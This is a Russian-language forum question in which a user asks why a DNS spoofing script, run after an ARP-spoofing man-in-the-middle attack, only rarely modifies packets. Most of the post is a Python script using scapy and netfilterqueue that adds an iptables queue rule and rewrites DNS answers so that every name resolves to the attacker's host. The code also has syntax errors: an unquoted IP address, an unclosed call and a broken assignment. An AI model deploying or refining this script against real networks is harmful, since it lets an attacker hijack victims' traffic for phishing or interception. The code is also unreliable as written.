Использование scapy и netfilterqueue для dns spoof работает и выключается - PullRequest
0 голосов
/ 10 мая 2019

Я использовал приведенный выше код, чтобы попытаться подменить dns после инициации моего Mitm, используя спуфинг arp (это хорошо работает, как я вижу в wireshark пакеты, направленные на мой другой компьютер), но при использовании этого кода это выглядит какпакеты на самом деле не модифицируются, иногда это работает (около 1 из 1000 DNS-запросов по какой-то причине).

пытался использовать метод PRIMOUTING iptables и другие, пытался трижды проверить, был ли мой поддельный arp успешным, и этобыл.

from netfilterqueue import NetfilterQueue
from scapy.all import UDP, DNSRR, DNS, IP
import sys, os
localIP = 192.168.1.32
os.system("sudo iptables -I FORWARD -p udp --sport 53 -d 192.168.1.50 -j NFQUEUE --queue-num 1"
def print_and_send(pkt):
    payload = pkt.get_payload()
    scapy_packet = IP(payload)
    #Check if it is a dns packet
    if scapy_packet.haslayer(UDP) and scapy_packet.getlayer(UDP).sport == 53:

        print("DNS packet in port " + str(scapy_packet.getlayer(UDP).dport ) + " ID : "+
        str(scapy_packet[DNS].id)+ " " +
        str(scapy_packet[IP].src) + "=> "+ str(scapy_packet[IP].dst) +" "+
        str(scapy_packet[DNS].qd.qname.decode('utf-8')))

        #Create the spoofed packet
        Spoofed =
        IP(
        dst = scapy_packet[IP].dst,
        src = scapy_packet[IP].src
        )/ \
        UDP(
        dport = scapy_packet.getlayer(UDP).dport,
        sport = scapy_packet.getlayer(UDP).sport
        )/ \
        DNS(
        id = scapy_packet[DNS].id ,
        qr = 1,
        aa = 1,
        qd = scapy_packet[DNS].qd ,
        an = DNSRR(rrname = scapy_packet[DNS].qd.qname, ttl = 19, rdata = localIP)
        )
        pkt.set_payload(bytes(Spoofed))

        pkt.accept()
    else:
        pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_send)
try:
     print("Waiting for data")
     nfqueue.run()
except KeyboardInterrupt:
    print("finished")

ожидал, что каждый пакет, полученный от атаки MITM, пройдет через этот фильтр и будет возвращать каждый раз, когда мой работающий html-сервер, на котором я работаю, и что на самом деле выходитнормальные ответы DNS.

...